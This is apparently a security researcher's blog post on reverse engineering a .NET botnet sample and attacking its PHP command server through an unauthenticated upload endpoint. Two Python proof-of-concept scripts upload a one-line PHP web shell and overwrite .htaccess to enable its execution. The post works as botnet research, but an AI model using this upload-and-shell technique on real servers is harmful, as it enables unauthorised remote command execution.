A Study In Bots: Safe Bot

Studying botnets is a passion of mine. I love to take them apart, reverse engineer them, find flaws in them and of course develop methods of exploiting those flaws. Rarely do I get the chance to describe my whole process from discovery to exploit development, so I feel compelled to share this example. I have removed some of the specifics, such as the name of the bot itself. In future posts, I will be more specific about the bots.

Discovery

I was reading about a tool and the description sounded like a basic botnet, but with the purpose being to show user’s how much information could be exfiltrated from their network. In the feature list, it described how it can take screenshots, execute commands, get local files, and download and execute applications, sounding like a basic botnet, with RAT's tied to a C2.

Gathering Information

Since the tool is not public yet, there was no direct way to download the bot or the C2 code. This is often the case with botnets so you generally have to do some digging. Since it wasn’t likely the bot was in any of my honeypots (not being a malicious botnet), a more direct approach was needed.

Finding a Sample

I decided to check and see if I could find anything for it on Google with the name of the bot. I ended up finding a sample had been submitted to malwr.com. This provided quite a bit of intelligence right from the start. The key pieces of information were the file type (.Net assembly, so easy to decompile) and the various cryptographic hashes of the sample. With the hashes, I was able to find the same sample being analyzed on a variety of public and private malware feeds, and with being a member of some of these feeds, I was able to download the sample.

Sometimes, gaining access to the source or object/compiled code of a botnet is even easier as we saw in the case of the Carberp source code being leaked on June 26, 2013. Not only was the source of Carberp released, but also associated tools and various other bot sources.

Reversing the Sample

Since the sample was a .Net assembly, the first thing I did was load it directly into .Net Reflector. This is when I realized this was going to get real fun, real fast. The code was not obfuscated at all, contained hardcoded values for the C2 - not only its location but also with the authentication the C2 uses to control the bot. Since the binary was a .Net assembly, the actual reversing part of this analysis was extremely brief, so let me move on to the more enjoyable portions.

Looking for Vulnerabilities

Generally, you want to look for vulnerabilities in areas of priority. In this case, the areas of priority are the C2 primarily, and that is the only part we don’t have. So we need to focus on how the bot interacts with the C2 to see how it works.

Picking Apart the C2 protocol

We can get a good idea of the structure of the C2 from how the bot interacts with it. In this case, all the access to the C2 are to files with PHP extensions, so it is fairly safe to assume it’s running PHP scripts to manage the bots. The bot also seems to respond to commands from the C2, after a registration process during which it sends a password. At this point, it is not clear if the password is per-bot or if it’s defined botnet-wide and is used to keep out unwanted guests. Since we have found a potential method of authentication here, we want to start looking for ways that the bot communicates with the server that don’t include authentication. If we don’t find anything, researching vulnerabilities in the C2 becomes slightly more difficult, as we will need to find a way to either obtain credentials or a way to bypass them.

The Upload Function

Like many botnets, the bot has the ability to upload files/data to the C2. After finding the function that handles this operation, I was able to find what is required to upload files to the server. Just as we were looking for, this method does not use any form of authentication. Arbitrary upload vulnerabilities are not rare, so this quickly became the focus of my research against the C2.

Since all the C2 information was hardcoded, the PHP script being uploaded to was also hardcoded. From here, I was able to put together a proof of concept Python script to upload files to the server.

import pycurl

# Target C2 base uri
base_uri = "http://xxx.xxx.xxx.xxx/"

# File to upload
# For simplicity, we’ll just write it locally then upload it
f = open("shell.php", 'w')
f.write("<?php system($_REQUEST[\"cmd\"]); ?>")
f.close()

# Upload the file
c = pycurl.Curl()
c.setopt(c.POST, 1)
c.setopt(c.URL, base_uri + "getfile.php")
c.setopt(c.HTTPPOST, [("upfile", (c.FORM_FILE, "shell.php", c.FORM_FILENAME, "lol.php"))])
c.perform()
c.close()

Exploiting the Upload Function

Exploiting the upload function requires a few things. The first is successfully uploading the file. Another is finding the location of uploaded files. This turned out to be quite trivial as I just guessed a few times and found a good prospect in "http://xxx.xxx.xxx.xxx/files/". After running the upload proof of concept, the shell was uploaded to the files directory, and I could directly access it by name. The problem was that the PHP code was not being executed, but instead was being printed. Knowing the server was an Apache server, and knowing that the quickest way to enforce this on Apache is with an .htaccess file, I quickly created an empty file locally, and uploaded it with the name ".htaccess". This replaced the .htaccess file with an empty file, and allowed execution in the directory.

Here is the full proof of concept:

#!/usr/bin/python
# by Brian Wallace (@botnet_hunter)
# .htaccess protected the directory, but who protected .htaccess?!

# Shell lands at http://xxx.xxx.xxx.xxx /files/lol.php
import pycurl

base_uri = "http://xxx.xxx.xxx.xxx /"

# Create some local files to make uploading easier
# The shell very simply obscures the call to SYSTEM and can use any parameter set as 1234567890 for the commands
# /lol.php?cmd=pwd
f = open("shell.php", 'w')
f.write("<?php system($_REQUEST[\"cmd\"]); ?>")
f.close()

# Create a file to overwrite .htaccess
f = open("empty.temp", 'w')
f.write(' ')
f.close()

c = pycurl.Curl()
c.setopt(c.POST, 1)
c.setopt(c.URL, base_uri + "getfile.php")
c.setopt(c.HTTPPOST, [("upfile", (c.FORM_FILE, "shell.php", c.FORM_FILENAME, "lol.php"))])
c.perform()
c.close()

c = pycurl.Curl()
c.setopt(c.POST, 1)
c.setopt(c.URL, base_uri + "getfile.php")
c.setopt(c.HTTPPOST, [("upfile", (c.FORM_FILE, "empty.temp", c.FORM_FILENAME, ".htaccess"))])
c.perform()
c.close()

Future botnet posts will contain more specific details, but if you are looking for a safe way to start botnet research, I suggest taking a look at botnets that were created to test anti-botnet measures. If you are looking for another safe environment to do botnet research in, I recently released a "vulnerable VM" of the RA1NX botnet which can be found here: https://sourceforge.net/p/ra1nxingbots/wiki/Home/. I plan to release more of these in the future, so feedback is appreciated.